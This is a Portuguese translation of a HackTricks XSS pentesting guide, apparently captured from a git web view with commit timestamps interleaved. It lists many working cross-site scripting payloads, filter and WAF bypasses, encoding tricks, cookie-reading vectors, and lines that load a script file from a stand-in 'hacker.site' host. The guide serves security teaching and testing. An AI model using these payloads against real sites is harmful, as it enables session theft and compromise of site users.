hacktricks/pentesting-web/xss-cross-site-scripting/README.md

1431 lines
73 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# XSS (Cross Site Scripting)
2022-04-28 16:01:33 +00:00
2023-03-05 22:20:47 +00:00
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
2022-04-30 20:31:18 +00:00
**Dica de recompensa por bugs**: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
2022-04-30 20:31:18 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
## Metodologia
1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**.
2. **Encontre o contexto** onde está sendo refletido/usado.
2023-06-06 18:56:34 +00:00
3. Se **refletido**
1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
1. Em **HTML bruto**:
1. Você pode criar novas tags HTML?
2. Pode usar eventos ou atributos que suportam o protocolo `javascript:`?
3. Pode contornar proteções?
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
5. Se não puder criar tags HTML que executem código JS, poderia abusar de uma [**Marcação Pendente - Injeção de HTML sem script**](../dangling-markup-html-scriptless-injection/)?
2. Dentro de uma **tag HTML**:
1. Pode sair para o contexto de HTML bruto?
2. Pode criar novos eventos/atributos para executar código JS?
3. O atributo onde você está preso suporta a execução de JS?
4. Pode contornar proteções?
3. Dentro do **código JavaScript**:
1. Pode escapar da tag `<script>`?
2. Pode escapar da string e executar código JS diferente?
3. Seus inputs estão em literais de modelo \`\`?
4. Pode contornar proteções?
4. Função **JavaScript** sendo **executada**
1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
4. Se **usado**:
1. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink**.
2023-06-06 18:56:34 +00:00
Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:
2022-04-25 12:04:04 +00:00
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
{% endcontent-ref %}
## Valores Refletidos
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página da web.
* **Refletido intermediariamente**: Se você encontrar que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderia explorar um **XSS Refletido**.
* **Armazenado e refletido**: Se você encontrar que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um **XSS Armazenado**.
* **Acessado via JS**: Se você encontrar que um valor controlado por você está sendo acessado usando JS, você poderia explorar um **DOM XSS**.
2023-06-06 18:56:34 +00:00
## Contextos
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
### HTML Bruto
Se seu input está **refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
Além disso, tenha em mente a [Injeção de Template do Lado do Cliente](../client-side-template-injection-csti.md).
2023-06-06 18:56:34 +00:00
### Dentro do atributo de tags HTML
Se seu input está refletido dentro do valor do atributo de uma tag, você poderia tentar:
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
2. Se você **puder escapar do atributo mas não da tag** (`>` está codificado ou excluído), dependendo da tag você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você poderá abusar. Por **exemplo**, se você controla um evento como `onclick=`, poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
4. Se seu input está refletido dentro de "**tags inexploráveis**" você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
2023-06-06 18:56:34 +00:00
### Dentro do código JavaScript
Neste caso, seu input está refletido entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
* Se refletido entre as tags **`<script> [...] </script>`**, mesmo se seu input estiver dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `</script>` injetada está dentro do código HTML.
* Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado:
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* A **codificação Unicode** funciona para escrever **código JavaScript válido**:
2023-02-07 10:56:16 +00:00
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
#### Elevação de Javascript
2022-06-24 08:34:11 +00:00
A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
**Confira a página a seguir para mais informações:**
2022-06-24 08:34:11 +00:00
{% content-ref url="js-hoisting.md" %}
[js-hoisting.md](js-hoisting.md)
{% endcontent-ref %}
2022-06-24 08:34:11 +00:00
### Função Javascript
Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver na prática é algo como: `?callback=callbackFunc`.
2022-06-23 12:12:25 +00:00
Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerável') e procurar no console por erros como:
2022-06-23 12:12:25 +00:00
2022-06-27 08:48:17 +00:00
![](<../../.gitbook/assets/image (651) (2).png>)
2022-06-23 12:12:25 +00:00
Caso seja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).
2022-06-23 12:12:25 +00:00
No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
2022-06-23 12:12:25 +00:00
![](<../../.gitbook/assets/image (662).png>)
2023-06-06 18:56:34 +00:00
Algumas funções úteis para isso:
2022-06-23 12:12:25 +00:00
```
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
```
2023-06-06 18:56:34 +00:00
Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`.
2022-06-23 12:12:25 +00:00
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um DOM **mais interessante** para realizar mais ações.
2022-06-23 12:12:25 +00:00
Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método na Mesma Origem (SOME)**:
2022-06-23 12:12:25 +00:00
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### DOM
**código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
### **XSS Universal**
2021-05-27 11:59:23 +00:00
Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** arbitrários em clientes e servidores, e mais.\
2023-06-06 18:56:34 +00:00
Alguns **exemplos**:
2021-05-27 11:59:23 +00:00
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
## Bypass de WAF codificando imagem
![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
## Injetando dentro de HTML bruto
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
Para esses casos, também **tenha em mente** [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\
_**Nota: Um comentário HTML pode ser fechado usando `-->` ou `--!>`**_
Neste caso, e se não houver uso de lista negra/lista branca, você poderia usar payloads como:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Mas, se estiver sendo utilizado um sistema de listagem negra/listagem branca de tags/atributos, você precisará **forçar a barra em quais tags** pode criar.\
Depois de **localizar quais tags são permitidas**, será necessário **forçar a barra em atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
### Forçar a barra em Tags/Eventos
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar a barra em todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
### Tags Personalizadas
Se não encontrar nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, é necessário terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Contornos da Lista Negra
Se algum tipo de lista negra estiver sendo usada, você pode tentar contorná-la com alguns truques bobos:
```javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
2021-06-02 22:22:26 +00:00
//Double tag, in case just the first match is removed
<script><script>
2021-06-02 22:22:26 +00:00
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
2021-06-02 22:22:26 +00:00
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
2021-06-02 22:22:26 +00:00
//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>
2021-06-02 22:22:26 +00:00
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
2021-06-02 22:22:26 +00:00
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
2021-06-02 22:22:26 +00:00
//Extra open
<<script>alert("XSS");//<</script>
2021-06-02 22:22:26 +00:00
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
2021-06-02 22:22:26 +00:00
//Using `` instead of parenthesis
2021-06-02 22:22:26 +00:00
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Bypass de comprimento (pequenos XSSs)
2022-02-18 15:49:34 +00:00
{% hint style="info" %}
**Mais XSS pequenos para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
2022-02-18 15:49:34 +00:00
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
```
O último usa 2 caracteres unicode que se expandem para 5: telsr\
2023-06-06 18:56:34 +00:00
Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
Para verificar em quais caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Se para explorar a vulnerabilidade você precisa que o **usuário clique em um link ou um formulário** com dados preenchidos antecipadamente, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
### Impossível - Dangling Markup
Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque você poderia **explorar** a vulnerabilidade **sem** executar **código JS**.
2023-06-06 18:56:34 +00:00
## Injetando dentro da tag HTML
2023-06-06 18:56:34 +00:00
### Dentro da tag/escapando do valor do atributo
Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
Se você **não pode escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo usando algum payload como (_observe que neste exemplo as aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
2022-03-21 17:05:35 +00:00
```bash
" autofocus onfocus=alert(document.domain) x="
2022-03-21 17:05:35 +00:00
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
2023-06-06 18:56:34 +00:00
**Eventos de estilo**
2021-02-25 11:06:26 +00:00
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
2023-06-06 18:56:34 +00:00
### Dentro do atributo
2021-02-25 11:06:26 +00:00
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
2023-06-06 18:56:34 +00:00
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
**Bypass dentro do evento usando codificação HTML/codificação de URL**
Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Voltar </a>`
Note que **qualquer tipo de codificação HTML é válida**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039
2023-03-03 17:26:17 +00:00
<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**Note que a codificação de URL também funcionará:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass dentro do evento usando codificação Unicode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Protocolos Especiais Dentro do Atributo
Aqui você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário e outros não.
2021-06-02 22:22:26 +00:00
```javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java //Note the new line
2021-06-02 22:22:26 +00:00
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
2023-06-06 18:56:34 +00:00
**Locais onde você pode injetar esses protocolos**
2021-06-02 22:22:26 +00:00
**Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img`)
2021-07-17 21:10:13 +00:00
```markup
2021-06-02 22:22:26 +00:00
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
2021-06-02 22:22:26 +00:00
<iframe srcdoc="<svg onload=alert(4);>">
```
2023-06-06 18:56:34 +00:00
**Outros truques de ofuscação**
2021-06-02 22:22:26 +00:00
_**Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.**_
2021-06-02 22:22:26 +00:00
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Além disso, há outro **truque interessante** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspas simples** e perceber que **ela está sendo codificada em URL**, lembre-se de que **não importa**, ela será **interpretada** como uma **aspas simples** durante o **tempo de execução**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Note que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não** **funcionará**, mas você pode **misturá-los dentro do payload**.
**Usando codificação Hex e Octal com `javascript:`**
Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Reverse tab nabbing
### Roubo de guia reverso
```javascript
2021-06-02 22:22:26 +00:00
<a target="_blank" rel="opener"
```
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
2021-05-01 15:23:19 +00:00
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
2021-05-01 15:23:19 +00:00
### Bypass em Manipuladores de Eventos
2021-06-02 22:22:26 +00:00
Primeiramente, verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obter **manipuladores de eventos "on"** úteis.\
Caso haja alguma lista negra impedindo a criação desses manipuladores de eventos, você pode tentar os seguintes bypasses:
2021-06-02 22:22:26 +00:00
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta)
2021-06-02 22:22:26 +00:00
De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
E em **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que você consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de tecla de acesso. Aqui está o vetor:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**A carga XSS será algo assim: `" accesskey="x" onclick="alert(1)" x="`**
### Contornos da Lista Negra
Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar:
2023-02-07 10:56:16 +00:00
- Codificação HTML (tags HTML)
- Codificação Unicode (pode ser código JS válido): `\u0061lert(1)`
- Codificação de URL
- Codificação Hexadecimal e Octal
- Codificação de dados
**Contornos para tags e atributos HTML**
Leia os [Contornos da Lista Negra da seção anterior](./#blacklist-bypasses).
**Contornos para código JavaScript**
Leia os [Contornos da Lista Negra de JavaScript da próxima seção](./#javascript-bypass-blacklists-techniques).
### Gadgets de CSS
2022-02-22 10:32:26 +00:00
Se você encontrou um **XSS em uma parte muito pequena** da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que o elemento ocupa** para maximizar as probabilidades de o link ser acionado.
2022-02-22 10:32:26 +00:00
Por exemplo, você poderia adicionar algum estilo no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
2022-02-22 10:32:26 +00:00
Mas, se o WAF estiver filtrando o atributo de estilo, você pode usar Gadgets de Estilo CSS, então se você encontrar, por exemplo
2022-02-22 10:32:26 +00:00
> .test {display:block; color: blue; width: 100%\}
2023-06-06 18:56:34 +00:00
e
2022-02-22 10:32:26 +00:00
> \#someid {top: 0; font-family: Tahoma;}
Agora você pode modificar nosso link e trazê-lo para a forma
2022-02-22 10:32:26 +00:00
> \<a href="" id=someid class=test onclick=alert() a="">
2022-02-22 10:32:26 +00:00
2023-06-06 18:56:34 +00:00
Este truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injetando dentro do código JavaScript
Neste caso, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
### Escapando a tag \<script>
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>`, você pode facilmente **escapar fechando a tag `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Note que neste exemplo **nem mesmo fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente.
2023-06-06 18:56:34 +00:00
### Dentro do código JS
Se `< >` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, pois se houver erros, o código JS não será executado:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Literais de modelo \`\`
Para construir **strings** além de aspas simples e duplas, o JS também aceita **acento grave** **` `` `**. Isso é conhecido como literais de modelo, pois permitem **incorporar expressões JS** usando a sintaxe `${ ... }`.\
Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando acentos graves, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
2023-02-07 10:56:16 +00:00
2023-06-06 18:56:34 +00:00
Isso pode ser **abusado** usando:
2023-02-07 10:56:16 +00:00
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
```````````````
2023-06-06 18:56:34 +00:00
### Execução de código codificado
2021-06-04 17:27:53 +00:00
```markup
2021-06-02 22:22:26 +00:00
<script>\u0061lert(1)</script>
2021-06-04 15:00:45 +00:00
<svg><script>alert&lpar;'1'&rpar;
2021-06-04 17:27:53 +00:00
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
2021-06-02 22:22:26 +00:00
```
### Execução de JS codificado em Unicode
2023-02-07 10:56:16 +00:00
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
### Técnicas de bypass de listas negras de JavaScript
**Cadeias de caracteres**
```javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
2023-02-07 10:56:16 +00:00
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
2021-06-02 22:22:26 +00:00
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
2021-06-04 17:18:34 +00:00
eval(8680439..toString(30))(983801..toString(36))
```
**Escapes especiais**
2023-02-07 10:56:16 +00:00
```javascript
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
